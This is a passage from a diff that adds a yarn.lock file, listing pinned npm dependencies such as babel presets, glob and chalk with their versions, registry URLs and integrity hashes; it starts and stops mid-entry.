\"^6.24.1\"\n+ babel-plugin-transform-es2015-modules-umd \"^6.24.1\"\n+ babel-plugin-transform-es2015-object-super \"^6.24.1\"\n+ babel-plugin-transform-es2015-parameters \"^6.24.1\"\n+ babel-plugin-transform-es2015-shorthand-properties \"^6.24.1\"\n+ babel-plugin-transform-es2015-spread \"^6.22.0\"\n+ babel-plugin-transform-es2015-sticky-regex \"^6.24.1\"\n+ babel-plugin-transform-es2015-template-literals \"^6.22.0\"\n+ babel-plugin-transform-es2015-typeof-symbol \"^6.22.0\"\n+ babel-plugin-transform-es2015-unicode-regex \"^6.24.1\"\n+ babel-plugin-transform-regenerator \"^6.24.1\"\n+\n+babel-preset-es2016@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-preset-es2016/-/babel-preset-es2016-6.24.1.tgz#f900bf93e2ebc0d276df9b8ab59724ebfd959f8b\"\n+ dependencies:\n+ babel-plugin-transform-exponentiation-operator \"^6.24.1\"\n+\n+babel-preset-es2017@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-preset-es2017/-/babel-preset-es2017-6.24.1.tgz#597beadfb9f7f208bcfd8a12e9b2b29b8b2f14d1\"\n+ dependencies:\n+ babel-plugin-syntax-trailing-function-commas \"^6.22.0\"\n+ babel-plugin-transform-async-to-generator \"^6.24.1\"\n+\n+babel-preset-latest@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-preset-latest/-/babel-preset-latest-6.24.1.tgz#677de069154a7485c2d25c577c02f624b85b85e8\"\n+ dependencies:\n+ babel-preset-es2015 \"^6.24.1\"\n+ babel-preset-es2016 \"^6.24.1\"\n+ babel-preset-es2017 \"^6.24.1\"\n+\n+babel-register@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-register/-/babel-register-6.24.1.tgz#7e10e13a2f71065bdfad5a1787ba45bca6ded75f\"\n+ dependencies:\n+ babel-core \"^6.24.1\"\n+ babel-runtime \"^6.22.0\"\n+ core-js \"^2.4.0\"\n+ home-or-tmp \"^2.0.0\"\n+ lodash \"^4.2.0\"\n+ mkdirp \"^0.5.1\"\n+ source-map-support \"^0.4.2\"\n+\n+babel-runtime@^6.18.0, babel-runtime@^6.22.0:\n+ version \"6.23.0\"\n+ resolved \"https://registry.yarnpkg.com/babel-runtime/-/babel-runtime-6.23.0.tgz#0a9489f144de70efb3ce4300accdb329e2fc543b\"\n+ dependencies:\n+ core-js \"^2.4.0\"\n+ regenerator-runtime \"^0.10.0\"\n+\n+babel-template@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-template/-/babel-template-6.24.1.tgz#04ae514f1f93b3a2537f2a0f60a5a45fb8308333\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+ babel-traverse \"^6.24.1\"\n+ babel-types \"^6.24.1\"\n+ babylon \"^6.11.0\"\n+ lodash \"^4.2.0\"\n+\n+babel-traverse@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-traverse/-/babel-traverse-6.24.1.tgz#ab36673fd356f9a0948659e7b338d5feadb31695\"\n+ dependencies:\n+ babel-code-frame \"^6.22.0\"\n+ babel-messages \"^6.23.0\"\n+ babel-runtime \"^6.22.0\"\n+ babel-types \"^6.24.1\"\n+ babylon \"^6.15.0\"\n+ debug \"^2.2.0\"\n+ globals \"^9.0.0\"\n+ invariant \"^2.2.0\"\n+ lodash \"^4.2.0\"\n+\n+babel-types@^6.19.0, babel-types@^6.24.1:\n+ version \"6.24.1\"\n+ resolved \"https://registry.yarnpkg.com/babel-types/-/babel-types-6.24.1.tgz#a136879dc15b3606bda0d90c1fc74304c2ff0975\"\n+ dependencies:\n+ babel-runtime \"^6.22.0\"\n+ esutils \"^2.0.2\"\n+ lodash \"^4.2.0\"\n+ to-fast-properties \"^1.0.1\"\n+\n+babylon@^6.11.0, babylon@^6.15.0:\n+ version \"6.16.1\"\n+ resolved \"https://registry.yarnpkg.com/babylon/-/babylon-6.16.1.tgz#30c5a22f481978a9e7f8cdfdf496b11d94b404d3\"\n+\n+balanced-match@^0.4.1:\n+ version \"0.4.2\"\n+ resolved \"https://registry.yarnpkg.com/balanced-match/-/balanced-match-0.4.2.tgz#cb3f3e3c732dc0f01ee70b403f302e61d7709838\"\n+\n+bcrypt-pbkdf@^1.0.0:\n+ version \"1.0.1\"\n+ resolved \"https://registry.yarnpkg.com/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.1.tgz#63bc5dcb61331b92bc05fd528953c33462a06f8d\"\n+ dependencies:\n+ tweetnacl \"^0.14.3\"\n+\n+binary-extensions@^1.0.0:\n+ version \"1.8.0\"\n+ resolved \"https://registry.yarnpkg.com/binary-extensions/-/binary-extensions-1.8.0.tgz#48ec8d16df4377eae5fa5884682480af4d95c774\"\n+\n+block-stream@*:\n+ version \"0.0.9\"\n+ resolved \"https://registry.yarnpkg.com/block-stream/-/block-stream-0.0.9.tgz#13ebfe778a03205cfe03751481ebb4b3300c126a\"\n+ dependencies:\n+ inherits \"~2.0.0\"\n+\n+boom@2.x.x:\n+ version \"2.10.1\"\n+ resolved \"https://registry.yarnpkg.com/boom/-/boom-2.10.1.tgz#39c8918ceff5799f83f9492a848f625add0c766f\"\n+ dependencies:\n+ hoek \"2.x.x\"\n+\n+brace-expansion@^1.0.0:\n+ version \"1.1.7\"\n+ resolved \"https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-1.1.7.tgz#3effc3c50e000531fb720eaff80f0ae8ef23cf59\"\n+ dependencies:\n+ balanced-match \"^0.4.1\"\n+ concat-map \"0.0.1\"\n+\n+braces@^1.8.2:\n+ version \"1.8.5\"\n+ resolved \"https://registry.yarnpkg.com/braces/-/braces-1.8.5.tgz#ba77962e12dff969d6b76711e914b737857bf6a7\"\n+ dependencies:\n+ expand-range \"^1.8.1\"\n+ preserve \"^0.2.0\"\n+ repeat-element \"^1.1.2\"\n+\n+browser-stdout@1.3.0:\n+ version \"1.3.0\"\n+ resolved \"https://registry.yarnpkg.com/browser-stdout/-/browser-stdout-1.3.0.tgz#f351d32969d32fa5d7a5567154263d928ae3bd1f\"\n+\n+buffer-shims@~1.0.0:\n+ version \"1.0.0\"\n+ resolved \"https://registry.yarnpkg.com/buffer-shims/-/buffer-shims-1.0.0.tgz#9978ce317388c649ad8793028c3477ef044a8b51\"\n+\n+caseless@~0.12.0:\n+ version \"0.12.0\"\n+ resolved \"https://registry.yarnpkg.com/caseless/-/caseless-0.12.0.tgz#1b681c21ff84033c826543090689420d187151dc\"\n+\n+chalk@^1.1.0:\n+ version \"1.1.3\"\n+ resolved \"https://registry.yarnpkg.com/chalk/-/chalk-1.1.3.tgz#a8115c55e4a702fe4d150abd3872822a7e09fc98\"\n+ dependencies:\n+ ansi-styles \"^2.2.1\"\n+ escape-string-regexp \"^1.0.2\"\n+ has-ansi \"^2.0.0\"\n+ strip-ansi \"^3.0.0\"\n+ supports-color \"^2.0.0\"\n+\n+child-process-promise@^2.2.1:\n+ version \"2.2.1\"\n+ resolved \"https://registry.yarnpkg.com/child-process-promise/-/child-process-promise-2.2.1.tgz#4730a11ef610fad450b8f223c79d31d7bdad8074\"\n+ dependencies:\n+ cross-spawn \"^4.0.2\"\n+ node-version \"^1.0.0\"\n+ promise-polyfill \"^6.0.1\"\n+\n+chokidar@^1.6.1:\n+ version \"1.6.1\"\n+ resolved \"https://registry.yarnpkg.com/chokidar/-/chokidar-1.6.1.tgz#2f4447ab5e96e50fb3d789fd90d4c72e0e4c70c2\"\n+ dependencies:\n+ anymatch \"^1.3.0\"\n+ async-each \"^1.0.0\"\n+ glob-parent \"^2.0.0\"\n+ inherits \"^2.0.1\"\n+ is-binary-path \"^1.0.0\"\n+ is-glob \"^2.0.0\"\n+ path-is-absolute \"^1.0.0\"\n+ readdirp \"^2.0.0\"\n+ optionalDependencies:\n+ fsevents \"^1.0.0\"\n+\n+co@^4.6.0:\n+ version \"4.6.0\"\n+ resolved \"https://registry.yarnpkg.com/co/-/co-4.6.0.tgz#6ea6bdf3d853ae54ccb8e47bfa0bf3f9031fb184\"\n+\n+code-point-at@^1.0.0:\n+ version \"1.1.0\"\n+ resolved \"https://registry.yarnpkg.com/code-point-at/-/code-point-at-1.1.0.tgz#0d070b4d043a5bea33a2f1a40e2edb3d9a4ccf77\"\n+\n+combined-stream@^1.0.5, combined-stream@~1.0.5:\n+ version \"1.0.5\"\n+ resolved \"https://registry.yarnpkg.com/combined-stream/-/combined-stream-1.0.5.tgz#938370a57b4a51dea2c77c15d5c5fdf895164009\"\n+ dependencies:\n+ delayed-stream \"~1.0.0\"\n+\n+commander@2.9.0, commander@^2.8.1:\n+ version \"2.9.0\"\n+ resolved \"https://registry.yarnpkg.com/commander/-/commander-2.9.0.tgz#9c99094176e12240cb22d6c5146098400fe0f7d4\"\n+ dependencies:\n+ graceful-readlink \">= 1.0.0\"\n+\n+concat-map@0.0.1:\n+ version \"0.0.1\"\n+ resolved \"https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b\"\n+\n+console-control-strings@^1.0.0, console-control-strings@~1.1.0:\n+ version \"1.1.0\"\n+ resolved \"https://registry.yarnpkg.com/console-control-strings/-/console-control-strings-1.1.0.tgz#3d7cf4464db6446ea644bf4b39507f9851008e8e\"\n+\n+convert-source-map@^1.1.0:\n+ version \"1.5.0\"\n+ resolved \"https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-1.5.0.tgz#9acd70851c6d5dfdd93d9282e5edf94a03ff46b5\"\n+\n+core-js@^2.4.0:\n+ version \"2.4.1\"\n+ resolved \"https://registry.yarnpkg.com/core-js/-/core-js-2.4.1.tgz#4de911e667b0eae9124e34254b53aea6fc618d3e\"\n+\n+core-util-is@~1.0.0:\n+ version \"1.0.2\"\n+ resolved \"https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.2.tgz#b5fd54220aa2bc5ab57aab7140c940754503c1a7\"\n+\n+cross-spawn@^4.0.2:\n+ version \"4.0.2\"\n+ resolved \"https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-4.0.2.tgz#7b9247621c23adfdd3856004a823cbe397424d41\"\n+ dependencies:\n+ lru-cache \"^4.0.1\"\n+ which \"^1.2.9\"\n+\n+cryptiles@2.x.x:\n+ version \"2.0.5\"\n+ resolved \"https://registry.yarnpkg.com/cryptiles/-/cryptiles-2.0.5.tgz#3bdfecdc608147c1c67202fa291e7dca59eaa3b8\"\n+ dependencies:\n+ boom \"2.x.x\"\n+\n+dashdash@^1.12.0:\n+ version \"1.14.1\"\n+ resolved \"https://registry.yarnpkg.com/dashdash/-/dashdash-1.14.1.tgz#853cfa0f7cbe2fed5de20326b8dd581035f6e2f0\"\n+ dependencies:\n+ assert-plus \"^1.0.0\"\n+\n+debug@2.2.0, debug@^2.1.1, debug@^2.2.0:\n+ version \"2.2.0\"\n+ resolved \"https://registry.yarnpkg.com/debug/-/debug-2.2.0.tgz#f87057e995b1a1f6ae6a4960664137bc56f039da\"\n+ dependencies:\n+ ms \"0.7.1\"\n+\n+deep-extend@~0.4.0:\n+ version \"0.4.1\"\n+ resolved \"https://registry.yarnpkg.com/deep-extend/-/deep-extend-0.4.1.tgz#efe4113d08085f4e6f9687759810f807469e2253\"\n+\n+delayed-stream@~1.0.0:\n+ version \"1.0.0\"\n+ resolved \"https://registry.yarnpkg.com/delayed-stream/-/delayed-stream-1.0.0.tgz#df3ae199acadfb7d440aaae0b29e2272b24ec619\"\n+\n+delegates@^1.0.0:\n+ version \"1.0.0\"\n+ resolved \"https://registry.yarnpkg.com/delegates/-/delegates-1.0.0.tgz#84c6e159b81904fdca59a0ef44cd870d31250f9a\"\n+\n+detect-indent@^4.0.0:\n+ version \"4.0.0\"\n+ resolved \"https://registry.yarnpkg.com/detect-indent/-/detect-indent-4.0.0.tgz#f76d064352cdf43a1cb6ce619c4ee3a9475de208\"\n+ dependencies:\n+ repeating \"^2.0.0\"\n+\n+diff@1.4.0:\n+ version \"1.4.0\"\n+ resolved \"https://registry.yarnpkg.com/diff/-/diff-1.4.0.tgz#7f28d2eb9ee7b15a97efd89ce63dcfdaa3ccbabf\"\n+\n+ecc-jsbn@~0.1.1:\n+ version \"0.1.1\"\n+ resolved \"https://registry.yarnpkg.com/ecc-jsbn/-/ecc-jsbn-0.1.1.tgz#0fc73a9ed5f0d53c38193398523ef7e543777505\"\n+ dependencies:\n+ jsbn \"~0.1.0\"\n+\n+escape-string-regexp@1.0.5, escape-string-regexp@^1.0.2:\n+ version \"1.0.5\"\n+ resolved \"https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4\"\n+\n+esutils@^2.0.2:\n+ version \"2.0.2\"\n+ resolved \"https://registry.yarnpkg.com/esutils/-/esutils-2.0.2.tgz#0abf4f1caa5bcb1f7a9d8acc6dea4faaa04bac9b\"\n+\n+expand-brackets@^0.1.4:\n+ version \"0.1.5\"\n+ resolved \"https://registry.yarnpkg.com/expand-brackets/-/expand-brackets-0.1.5.tgz#df07284e342a807cd733ac5af72411e581d1177b\"\n+ dependencies:\n+ is-posix-bracket \"^0.1.0\"\n+\n+expand-range@^1.8.1:\n+ version \"1.8.2\"\n+ resolved \"https://registry.yarnpkg.com/expand-range/-/expand-range-1.8.2.tgz#a299effd335fe2721ebae8e257ec79644fc85337\"\n+ dependencies:\n+ fill-range \"^2.1.0\"\n+\n+extend@~3.0.0:\n+ version \"3.0.0\"\n+ resolved \"https://registry.yarnpkg.com/extend/-/extend-3.0.0.tgz#5a474353b9f3353ddd8176dfd37b91c83a46f1d4\"\n+\n+extglob@^0.3.1:\n+ version \"0.3.2\"\n+ resolved \"https://registry.yarnpkg.com/extglob/-/extglob-0.3.2.tgz#2e18ff3d2f49ab2765cec9023f011daa8d8349a1\"\n+ dependencies:\n+ is-extglob \"^1.0.0\"\n+\n+extsprintf@1.0.2:\n+ version \"1.0.2\"\n+ resolved \"https://registry.yarnpkg.com/extsprintf/-/extsprintf-1.0.2.tgz#e1080e0658e300b06294990cc70e1502235fd550\"\n+\n+filename-regex@^2.0.0:\n+ version \"2.0.0\"\n+ resolved \"https://registry.yarnpkg.com/filename-regex/-/filename-regex-2.0.0.tgz#996e3e80479b98b9897f15a8a58b3d084e926775\"\n+\n+fill-range@^2.1.0:\n+ version \"2.2.3\"\n+ resolved \"https://registry.yarnpkg.com/fill-range/-/fill-range-2.2.3.tgz#50b77dfd7e469bc7492470963699fe7a8485a723\"\n+ dependencies:\n+ is-number \"^2.1.0\"\n+ isobject \"^2.0.0\"\n+ randomatic \"^1.1.3\"\n+ repeat-element \"^1.1.2\"\n+ repeat-string \"^1.5.2\"\n+\n+for-in@^1.0.1:\n+ version \"1.0.2\"\n+ resolved \"https://registry.yarnpkg.com/for-in/-/for-in-1.0.2.tgz#81068d295a8142ec0ac726c6e2200c30fb6d5e80\"\n+\n+for-own@^0.1.4:\n+ version \"0.1.5\"\n+ resolved \"https://registry.yarnpkg.com/for-own/-/for-own-0.1.5.tgz#5265c681a4f294dabbf17c9509b6763aa84510ce\"\n+ dependencies:\n+ for-in \"^1.0.1\"\n+\n+forever-agent@~0.6.1:\n+ version \"0.6.1\"\n+ resolved \"https://registry.yarnpkg.com/forever-agent/-/forever-agent-0.6.1.tgz#fbc71f0c41adeb37f96c577ad1ed42d8fdacca91\"\n+\n+form-data@~2.1.1:\n+ version \"2.1.4\"\n+ resolved \"https://registry.yarnpkg.com/form-data/-/form-data-2.1.4.tgz#33c183acf193276ecaa98143a69e94bfee1750d1\"\n+ dependencies:\n+ asynckit \"^0.4.0\"\n+ combined-stream \"^1.0.5\"\n+ mime-types \"^2.1.12\"\n+\n+fs-readdir-recursive@^1.0.0:\n+ version \"1.0.0\"\n+ resolved \"https://registry.yarnpkg.com/fs-readdir-recursive/-/fs-readdir-recursive-1.0.0.tgz#8cd1745c8b4f8a29c8caec392476921ba195f560\"\n+\n+fs.realpath@^1.0.0:\n+ version \"1.0.0\"\n+ resolved \"https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f\"\n+\n+fsevents@^1.0.0:\n+ version \"1.1.1\"\n+ resolved \"https://registry.yarnpkg.com/fsevents/-/fsevents-1.1.1.tgz#f19fd28f43eeaf761680e519a203c4d0b3d31aff\"\n+ dependencies:\n+ nan \"^2.3.0\"\n+ node-pre-gyp \"^0.6.29\"\n+\n+fstream-ignore@^1.0.5:\n+ version \"1.0.5\"\n+ resolved \"https://registry.yarnpkg.com/fstream-ignore/-/fstream-ignore-1.0.5.tgz#9c31dae34767018fe1d249b24dada67d092da105\"\n+ dependencies:\n+ fstream \"^1.0.0\"\n+ inherits \"2\"\n+ minimatch \"^3.0.0\"\n+\n+fstream@^1.0.0, fstream@^1.0.10, fstream@^1.0.2:\n+ version \"1.0.11\"\n+ resolved \"https://registry.yarnpkg.com/fstream/-/fstream-1.0.11.tgz#5c1fb1f117477114f0632a0eb4b71b3cb0fd3171\"\n+ dependencies:\n+ graceful-fs \"^4.1.2\"\n+ inherits \"~2.0.0\"\n+ mkdirp \">=0.5 0\"\n+ rimraf \"2\"\n+\n+gauge@~2.7.1:\n+ version \"2.7.3\"\n+ resolved \"https://registry.yarnpkg.com/gauge/-/gauge-2.7.3.tgz#1c23855f962f17b3ad3d0dc7443f304542edfe09\"\n+ dependencies:\n+ aproba \"^1.0.3\"\n+ console-control-strings \"^1.0.0\"\n+ has-unicode \"^2.0.0\"\n+ object-assign \"^4.1.0\"\n+ signal-exit \"^3.0.0\"\n+ string-width \"^1.0.1\"\n+ strip-ansi \"^3.0.1\"\n+ wide-align \"^1.1.0\"\n+\n+getpass@^0.1.1:\n+ version \"0.1.6\"\n+ resolved \"https://registry.yarnpkg.com/getpass/-/getpass-0.1.6.tgz#283ffd9fc1256840875311c1b60e8c40187110e6\"\n+ dependencies:\n+ assert-plus \"^1.0.0\"\n+\n+glob-base@^0.3.0:\n+ version \"0.3.0\"\n+ resolved \"https://registry.yarnpkg.com/glob-base/-/glob-base-0.3.0.tgz#dbb164f6221b1c0b1ccf82aea328b497df0ea3c4\"\n+ dependencies:\n+ glob-parent \"^2.0.0\"\n+ is-glob \"^2.0.0\"\n+\n+glob-parent@^2.0.0:\n+ version \"2.0.0\"\n+ resolved \"https://registry.yarnpkg.com/glob-parent/-/glob-parent-2.0.0.tgz#81383d72db054fcccf5336daa902f182f6edbb28\"\n+ dependencies:\n+ is-glob \"^2.0.0\"\n+\n+glob@7.0.5:\n+ version \"7.0.5\"\n+ resolved \"https://registry.yarnpkg.com/glob/-/glob-7.0.5.tgz#b4202a69099bbb4d292a7c1b95b6682b67ebdc95\"\n+ dependencies:\n+ fs.realpath \"^1.0.0\"\n+ inflight \"^1.0.4\"\n+ inherits \"2\"\n+ minimatch \"^3.0.2\"\n+ once \"^1.3.0\"\n+ path-is-absolute \"^1.0.0\"\n+\n+glob@^7.0.0, glob@^7.0.5:\n+ version \"7.1.1\"\n+ resolved \"https://registry.yarnpkg.com/glob/-/glob-7.1.1.tgz#805211df04faaf1c63a3600306cdf5ade50b2ec8\"\n+ dependencies:\n+ fs.realpath \"^1.0.0\"\n+ inflight \"^1.0.4\"\n+ inherits \"2\"\n+ minimatch \"^3.0.2\"\n+ once \"^1.3.0\"\n+ path-is-absolute \"^1.0.0\"\n+\n+globals@^9.0.0:\n+ version \"9.17.0\"\n+ resolved \"https://registry.yarnpkg.com/globals/-/globals-9.17.0.tgz#0c0ca696d9b9bb694d2e5470bd37777caad50286\"\n+\n+graceful-fs@^4.1.2, graceful-fs@^4.1.4:\n+ version \"4.1.11\"\n+ resolved \"https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.1.11.tgz#0e8bdfe4d1ddb8854d64e04ea7c00e2a026e5658\"\n+\n+\"graceful-readlink@>= 1.0.0\":\n+ version \"1.0.1\"\n+ resolved \"https://registry.yarnpkg.com/graceful-readlink/-/graceful-readlink-1.0.1.tgz#4cafad76bc62f02fa039b2f94e9a3dd3a391a725\"\n+\n+growl@1.9.2:\n+ version \"1.9.2\"\n+ resolved \"https://registry.yarnpkg.com/growl/-/growl-1.9.2.tgz#0ea7743715db8d8de2c5ede1775e1b45ac85c02f\"\n+\n+har-schema@^1.0.5:\n+ version \"1.0.5\"\n+ resolved \"https://registry.yarnpkg.com/har-schema/-/har-schema-1.0.5.tgz#d263135f43307c02c602afc8fe95970c0151369e\"\n+\n+har-validator@~4.2.1:\n+ version \"4.2.1\"\n+ resolved \"https://registry.yarnpkg.com/har-validator/-/har-validator-4.2.1.tgz#33481d0f1bbff600dd203d75812a6a5fba002e2a\"\n+ dependencies:\n+ ajv \"^4.9.1\"\n+ har-schema \"^1.0.5\"\n+\n+has-ansi@^2.0.0:\n+ version \"2.0.0\"\n+ resolved \"https://registry.yarnpkg.com/has-ansi/-/has-ansi-2.0.0.tgz#34f5049ce1ecdf2b0649af3ef24e45ed35416d91\"\n+ dependencies:\n+ ansi-regex \"^2.0.0\"\n+\n+has-flag@^1.0.0:\n+ version \"1.0.0\"\n+ resolved \"https://registry.yarnpkg.com/has-flag/-/has-flag-1.0.0.tgz#9d9e793165ce017a00f00418c43f942a7b1d11fa\"\n+\n+has-unicode@^2.0.0:\n+ version \"2.0.1\"\n+ resolved \"https://registry.yarnpkg.com/has-unicode/-/has-unicode-2.0.1.tgz#e0e6fe6a28cf51138855e086d1691e771de2a8b9\"\n+\n+hawk@~3.1.3:\n+ version \"3.1.3\"\n+ resolved \"https://registry.yarnpkg.com/hawk/-/hawk-3.1.3.tgz#078444bd7c1640b0fe540d2c9b73d59678e8e1c4\"\n+ dependencies:\n+ boom \"2.x.x\"\n+ cryptiles \"2.x.x\"\n+ hoek \"2.x.x\"\n+ sntp \"1.x.x\"\n+\n+hoek@2.x.x:\n+ version \"2.16.3\"\n+ resolved \"https://registry.yarnpkg.com/hoek/-/hoek-2.16.3.tgz#20bb7403d3cea398e91dc4710a8ff1b8274a25ed\"\n+\n+home-or-tmp@^2.0.0:\n+ version \"2.0.0\"\n+ resolved \"https://registry.yarnpkg.com/home-or-tmp/-/home-or-tmp-2.0.0.tgz#e36c3f2d2cae7d746a857e38d18d5f32a7882db8\"\n+ dependencies:\n+ os-homedir \"^1.0.0\"\n+ os-tmpdir \"^1.0.1\"\n+\n+http-signature@~1.1.0:\n+ version \"1.1.1\"\n+ resolved \"https://registry.yarnpkg.com/http-signature/-/http-signature-1.1.1.tgz#df72e267066cd0ac67fb76adf8e134a8fbcf91bf\"\n+ dependencies:\n+ assert-plus \"^0.2.0\"\n+ jsprim \"^1.2.2\"\n+ sshpk \"^1.7.0\"\n+\n+inflight@^1.0.4:\n+ version \"1.0.6\"\n+ resolved \"https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9\"\n+ dependencies:\n+ once \"^1.3.0\"\n+ wrappy \"1\"\n+\n+inherits@2, inherits@^2.0.1, inherits@~2.0.0, inherits@~2.0.1:\n+ version \"2.0.3\"\n+ resolved \"https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de\"\n+\n+ini@~1.3.0:\n+ version \"1.3.4\"\n+ resolved \"https://registry.yarnpkg.com/ini/-/ini-1.3.4.tgz#0537cb79daf59b59a1a517dff706c86ec039162e\"\n+\n+invariant@^2.2.0:\n+ version \"2.2.2\"\n+ resolved \"https://registry.yarnpkg.com/invariant/-/invariant-2.2.2.tgz#9e1f56ac0acdb6bf303306f338be3b204ae60360\"\n+ dependencies:\n+ loose-envify \"^1.0.0\"\n+\n+is-binary-path@^1.0.0:\n+ version \"1.0.1\"\n+ resolved \"https://registry.yarnpkg.com/is-binary-path/-/is-binary-path-1.0.1.tgz#75f16642b480f187a711c814161fd3a4a7655898\"\n+ dependencies:\n+ binary-extensions \"^1.0.0\"\n+\n+is-buffer@^1.0.2:\n+ version \"1.1.5\"\n+ resolved \"https://registry.yarnpkg.com/is-buffer/-/is-buffer-1.1.5.tgz#1f3b26ef613b214b88cbca23cc6c01d87961eecc\"\n+\n+is-dotfile@^1.0.0:\n+ version \"1.0.2\"\n+ resolved \"https://registry.yarnpkg.com/is-dotfile/-/is-dotfile-1.0.2.tgz#2c132383f39199f8edc268ca01b9b007d205cc4d\"\n+\n+is-equal-shallow@^0.1.3:\n+ version \"0.1.3\"\n+ resolved \"https://registry.yarnpkg.com/is-equal-shallow/-/is-equal-shallow-0.1.3.tgz#2238098fc221de0bcfa5d9eac4c45d638aa1c534\"\n+ dependencies:\n+ is-primitive \"^2.0.0\"\n+\n+is-extendable@^0.1.1:\n+ version \"0.1.1\"\n+ resolved \"https://registry.yarnpkg.com/is-extendable/-/is-extendable-0.1.1.tgz#62b110e289a471418e3ec36a617d472e301dfc89\"\n+\n+is-extglob@^1.0.0:\n+ version \"1.0.0\"\n+ resolved \"https://registry.yarnpkg.com/is-extglob/-/is-extglob-1.0.0.tgz#ac468177c4943405a092fc8f29760c6ffc6206c0\"\n+\n+is-finite@^1.0.0:\n+ version \"1.0.2\"\n+ resolved \"https://registry.yarnpkg.com/is-finite/-/is-finite-1.0.2.tgz#cc6677695602be550ef11e8b4aa6305342b6d0aa\"\n+ dependencies:\n+ number-is-nan \"^1.0.0\"\n+\n+is-fullwidth-code-point@^1.0.0:\n+ version \"1.0.0\"\n+ resolved \"https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz#ef9e31386f031a7f0d643af82fde50c457ef00cb\"\n+ dependencies:\n+ number-is-nan \"^1.0.0\"\n+\n+is-glob@^2.0.0, is-glob@^2.0.1:\n+ version \"2.0.1\"\n+ resolved \"https://registry.yarnpkg.com/is-glob/-/is-glob-2.0.1.tgz#d096f926a3ded5600f3fdfd91198cb0888c2d863\"\n+ dependencies:\n+ is-extglob \"^1.0.0\"\n+\n+is-number@^2.0.2, is-number@^2.1.0:\n+ version \"2.1.0\"\n+ resolved \"https://registry.yarnpkg.com/is-number/-/is-number-2.1.0.tgz#01fcbbb393463a548f2f466cce16dece49db908f\"\n+ dependencies:\n+ kind-of \"^3.0.2\"\n+\n+is-posix-bracket@^0.1.0:\n+ version \"0.1.1\"\n+ resolved \"https://registry.yarnpkg.com/is-posix-bracket/-/is-posix-bracket-0.1.1.tgz#3334dc79774368e92f016e6fbc0a88f5cd6e6bc4\"\n+\n+is-primitive@^2.0.0:\n+ version \"2.0.0\"\n+ resolved \"https://registry.yarnpkg.com/is-primitive/-/is-primitive-2.0.0.tgz#207bab91638499c07b2adf240a41a87210034575\"\n+\n+is-typedarray@~1.0.0:\n+ version \"1.0.0\"\n+ resolved \"https://registry.yarnpkg.com/is-typedarray/-/is-typedarray-1.0.0.tgz#e479c80858df0c1b11ddda6940f96011fcda4a9a\"\n+\n+isarray@1.0.0, isarray@~1.0.0:\n+ version \"1.0.0\"\n+ resolved \"https://registry.yarnpkg.com/isarray/-/isarray-1.0.0.tgz#bb935d48582cba168c06834957a54a3e07124f11\"\n+\n+isexe@^2.0.0:\n+ version \"2.0.0\"\n+ resolved \"https://registry.yarnpkg.com/isexe/-/isexe-2.0.0.tgz#e8fbf374dc556ff8947a10dcb0572d633f2cfa10\"\n+\n+isobject@^2.0.0:\n+ version \"2.1.0\"\n+ resolved \"https://registry.yarnpkg.com/isobject/-/isobject-2.1.0.tgz#f065561096a3f1da2ef46272f815c840d87e0c89\"\n+ dependencies:\n+ isarray \"1.0.0\"\n+\n+isstream@~0.1.2:\n+ version \"0.1.2\"\n+ resolved \"https://registry.yarnpkg.com/isstream/-/isstream-0.1.2.tgz#47e63f7af55afa6f92e1500e690eb8b8529c099a\"\n+\n+jodid25519@^1.0.0:\n+ version \"1.0.2\"\n+ resolved \"https://registry.yarnpkg.com/jodid25519/-/jodid25519-1.0.2.tgz#06d4912255093419477d425633606e0e90782967\"\n+ dependencies:\n+ jsbn \"~0.1.0\"\n+\n+js-tokens@^3.0.0:\n+ version \"3.0.1\"\n+ resolved \"https://registry.yarnpkg.com/js-tokens/-/js-tokens-3.0.1.tgz#08e9f132484a2c45a30907e9dc4d5567b7f114d7\"\n+\n+jsbn@~0.1.0:\n+ version \"0.1.1\"\n+ resolved \"https://registry.yarnpkg.com/jsbn/-/jsbn-0.1.1.tgz#a5e654c2e5a2deb5f201d96cefbca80c0ef2f513\"\n+\n+jsesc@^1.3.0:\n+ version \"1.3.0\"\n+ resolved \"https://registry.yarnpkg.com/jsesc/-/jsesc-1.3.0.tgz#46c3fec8c1892b12b0833db9bc7622176dbab34b\"\n+\n+jsesc@~0.5.0:\n+ version \"0.5.0\"\n+ resolved \"https://registry.yarnpkg.com/jsesc/-/jsesc-0.5.0.tgz#e7dee66e35d6fc16f710fe91d5cf69f70f08911d\"\n+\n+json-schema@0.2.3:\n+ version \"0.2.3\"\n+ resolved \"https://registry.yarnpkg.com/json-schema/-/json-schema-0.2.3.tgz#b480c892e59a2f05954ce727bd3f2a4e882f9e13\"\n+\n+json-stable-stringify@^1.0.1:\n+ version \"1.0.1\"\n+ resolved \"https://registry.yarnpkg.com/json-stable-stringify/-/json-stable-stringify-1.0.1.tgz#9a759d39c5f2ff503fd5300646ed445f88c4f9af\"\n+ dependencies:\n+ jsonify \"~0.0.0\"\n+\n+json-stringify-safe@~5.0.1:\n+ version \"5.0.1\"\n+ resolved 